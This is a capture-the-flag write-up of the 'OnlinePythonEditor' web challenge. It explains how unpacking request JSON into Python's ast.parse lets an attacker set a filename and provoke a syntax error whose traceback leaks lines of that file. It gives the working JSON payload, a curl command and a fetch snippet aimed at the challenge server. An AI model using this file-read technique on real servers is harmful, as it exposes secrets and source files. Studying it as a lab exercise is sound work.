๐ Online Python Editor
A detailed write-up of the Web challenge 'OnlinePythonEditor' from TheRomanXpl0itCTF - 2025
๐ Challenge Overview
Category Details Additional Info ๐ Event TheRomanXpl0itCTF - 2025 Event Link ๐ฐ Category Web ๐ ๐ Points 500 Out of 500 total โญ Difficulty ๐ก Medium Personal Rating: 4/10 ๐ค Author Unknown Profile ๐ฎ Solves (At the time of flag submission) 53 solve rate ๐ Date 22-02-2025 TheRomanXpl0itCTF - 2025 ๐ฆพ Solved By jaco Team: aetruria
๐ Challenge Information
If you’re tired of fast and good-looking editors, try this. Now with extra crispiness! http://python.ctf.theromanxpl0.it:7001
๐ฏ Challenge Files & Infrastructure
Provided Files
Files:
๐ Initial Analysis
First Steps
Initially, the website appears as follows:
I didn’t find anything interesting here, so I decided to read the attached files. This is
secret.py
.
1 2 3 4 5 6 7
def main(): ย ย print("Here's the flag: ") ย ย print(FLAG) FLAG = "TRX{fake_flag_for_testing}" main()
e questo
app.py
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
import ast import traceback from flask import Flask, render_template, request app = Flask(__name__) @app.get("/") def home(): ย ย return render_template("index.html") @app.post("/check") def check(): ย ย try: ย ย ย ย ast.parse(**request.json) ย ย ย ย return {"status": True, "error": None} ย ย except Exception: ย ย ย ย return {"status": False, "error": traceback.format_exc()} if __name__ == '__main__': ย ย app.run(debug=True)
As we can see, this is a
Flask
application. The first thing I thought of was a vulnerability related todebug=True
, since sometimes it can expose a console when an exception is raised, which can lead to anRCE
, but I found out that this wasn’t the case. After doing a couple of searches, I discovered that the vulnerability is actually in this line here:
1
ast.parse(**request.json)
(including the
try-except
). After studying the function (https://docs.python.org/3/library/ast.html#ast.parse), I discovered that itโs like using thecompile()
function. This function has the syntaxcompile(_source_, _filename_, _mode_, _flag_, _dont_inherit_, _optimize_)
, so we can specifysource
(the code to compile),filename
(the filename of the file from which the code comes), andmode
(which specifies the format of thesource
: multiline, single-line, or single expression). Given the**request.json
, specifying**
performs a dictionary unpacking (breaking down the dictionary into function arguments). So, we can specify the arguments of theast.parse()
function via ajson
payload, like:{"source": "", "mode": "", "filename": ""}
. Now that we understand the vulnerability and how to exploit it, letโs move on to the exploitation phase.
๐ฌ Vulnerability Analysis
Potential Vulnerabilities
- Arbitrary File Read
๐ฏ Solution Path
Exploitation Steps
Initial setup
To exploit this vulnerability, we need to specify
filename:secret.py
(withmode:exec
, even though itโs not strictly necessary for the final payload), which is the file containing the flag we want to read, resulting in an initial payload:
{"source": "", "mode": "exec", "filename": "secret.py"}
Now let’s move on to the next phase.
Exploitation
The new phase consists of specifying the
source
field. To obtain a leak of the line containing the flag, we can specify\n
as many times as there are lines before the one containing the flag:source:\n\n\n\n\n
(since itโs on the fifth line). However, with this payload, we wonโt get anything except:{"status": True, "error": None}
. This is where we need to exploit thetry
by raising an exception. In fact, we will get the entire stack trace due to the line of code:return {"status": False, "error": traceback.format_exc()}
. This will allow us to read line\n\n\n\n\n
(line 6) of thesecret.py
file. Indeed, whenfilename
is specified, aread()
operation is performed on the specified file, and through thesource
parameter, we can “navigate” or “write” the code of thesecret.py
file in this case. So, with\n
, we “navigate” to line6
(the one containing the flag), and then raise an exception to obtain the leak and read it. We can do this, for example, by adding a+
or any character that would generate an exception. This results in the final payload:
{"source": "\n\n\n\n\n+", "mode": "exec", "filename": "secret.py"}
which we will send to the
/check
endpoint, for example, with curl:
1
curl -X POST http://python.ctf.theromanxpl0.it:7001/check -H "Content-Type: application/json" -d '{"source": "\n\n\n\n\n+", "mode": "exec", "filename": "secret.py"}'
or by directly using JavaScript code through the
ChromeDevTools
console, for example:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
fetch("http://python.ctf.theromanxpl0.it:7001/check", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ "source": "\n\n\n\n\n+", "filename": "secret.py", }) }) .then(response => response.text()) .then(data => { document.body.innerHTML = data; console.log(data); }) .catch(error => console.error("Errore:", error));
By doing this, we can obtain the stack trace directly on the page by making a fetch (but this is an extra step thatโs not necessary for solving the challenge). After doing so, we will get the stack trace as a response, and within it, the flag (the line from the
secret.py
file specified using\n
).
Flag capture
๐ ๏ธ Exploitation Process
Approach
The automatic exploit makes a POST request to
/check
with the payload, as done in the manual exploitation, and extracts the flag from the response using a regex.
๐ฉ Flag Capture
FlagTRX{4ll_y0u_h4v3_t0_d0_1s_l00k_4t_th3_s0urc3_c0d3}
Proof of Execution
๐ง Tools Used
Tool Purpose Python Exploit
๐ก Key Learnings
New Knowledge
I have learned that with the
compile()
orast.parse()
function, it is possible to achieve anArbitrary File Read
by specifying thefilename
parameter and triggering an exception if there is a possibility of reading the stacktrace.
Skills Improved
- Binary Exploitation
- Reverse Engineering
- Web Exploitation
- Cryptography
- Forensics
- OSINT
- Miscellaneous
๐ Final Statistics
Metric | Value | Notes |
---|---|---|
Time to Solve | 01:47 | From start to flag |
Global Ranking (At the time of flag submission) | 17/441 | Challenge ranking |
Points Earned | 500 | Team contribution |
Created: 22-02-2025 โข Last Modified: 22-02-2025 *Author: mH4ck3r0n3 โข Team: aetruria